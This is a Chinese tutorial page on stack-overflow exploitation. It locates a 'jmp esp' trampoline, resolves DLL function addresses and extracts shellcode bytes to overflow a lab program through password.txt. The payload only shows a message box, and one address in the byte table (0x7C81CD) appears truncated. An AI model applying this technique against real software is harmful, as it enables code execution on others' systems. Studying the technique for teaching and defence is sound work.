shellcode应该放在哪,shellcode使用教程

首页 > 经验 > 作者:YD1662022-11-07 08:38:25

图4

搜索结束后,点击OllyDbg中的“L”快捷按钮,就可以在日志窗口中查看搜索结果了。

运行我们自己编写程序搜索跳转地址得到的结果和OllyDbg插件搜到的结果基本相同,如图:



shellcode应该放在哪,shellcode使用教程(5)

图5

注意:跳转指令的地址将直接关系到exploit的通用性。事实上kernel32.dll与user32.dll在不同的操作系统版本和补丁版本中,也是有所差异的。最佳的跳转地址位于那些“千年不变”且被几乎所有进程都加载的模块中。选择哪里的跳转地址将直接影响到exploit的通用性和稳定性。

这里不妨采用位于内存0x77DC14CC处的跳转地址jmp esp作为定位shellcode的“跳板”————我并不保证这个地址通用,请你在自己的机器上重新搜索。

在制作exploit的时候,还应当修复第5讲中的shellcode无法正常退出的缺陷。有几种思路,可以恢复堆栈和寄存器之后,返回到原来的程序流程,这里我用个简单点的偷懒的办法,在调用MessageBox之后通过调用exit函数让程序干净利落的退出。

这里仍然用dependency walker获得这个函数的入口地址。如图,ExitProcess是kernel32.dll的导出函数,故首先查出kernel32.dll的加载基址:0x7C800000,然后加上函数的偏移地址:0x0001CDDA,得到函数入口最终的内存地址0x7C81CDDA。

shellcode应该放在哪,shellcode使用教程(6)

图6

写出的shellcode的源代码如下:

#include <windows.h>

int main()

{

HINSTANCE LibHandle;

char dllbuf[11] = "user32.dll";

LibHandle = LoadLibrary(dllbuf);

_asm{

sub sp,0x440

xor ebx,ebx

push ebx // cut string

push 0x74736577

push 0x6C696166//push failwest

mov eax,esp //load address of failwest

push ebx

push eax

push eax

push ebx

mov eax,0x77D804EA // address should be reset in different OS

call eax //call MessageboxA

push ebx

mov eax,0x7C81CDDA

call eax //call exit(0)

}

}

为了提取出汇编代码对应的机器码,我们将上述代码用VC6.0编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:

shellcode应该放在哪,shellcode使用教程(7)

图7

TIPS:不如直接在汇编码中加一个__asm int3,OD启动后会自动停在shellcode之前。

通过IDA Pro等其他反汇编工具也可以从PE文件中得到对应的机器码。当然如果熟悉intel指令集的话,也可以为自己编写专用的由汇编指令到机器指令的转换工具。

现在我们已经具备了制作新exploit需要的所有信息:

搜索到的jmp esp地址,用作重定位shellcode的“跳板”:0x77DC14CC

修改后并重新提取得到的shellcode:

机器代码(16进制) 汇编指令 注释

33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。之所以用EBX

清零后入栈做为字符串的截断符,是为了避免

“PUSH 0”中的NULL,否则植入的机器码会被

strcpy函数截断。

53 PUSH EBX

68 77 65 73 74 PUSH 74736577

68 66 61 69 6C PUSH 6C696166

8B C4 MOV EAX,ESP EAX里是字符串指针

53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:

(0,failwest,failwest,0)

消息框为默认风格,文本区和标题都是“failwest”

50 PUSH EAX

50 PUSH EAX

53 PUSH EBX

B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。注意不同的机器这

里的函数入口地址可能不同,请按实际值填入!

FF D0 CALL EAX

53 PUSH EBX 调用exit(0)。注意不同的机器这里的函数入口地址可

能不同,请按实际值填入!

B8 DA CD 81 7C MOV EAX, 0x7C81CD

FF D0 CALL EAX

按照第5讲中对栈内情况的分析,我们将password.txt制作成如下形式:



shellcode应该放在哪,shellcode使用教程(8)

上一页123下一页

栏目热文

文档排行

本站推荐

Copyright © 2018 - 2021 www.yd166.com., All Rights Reserved.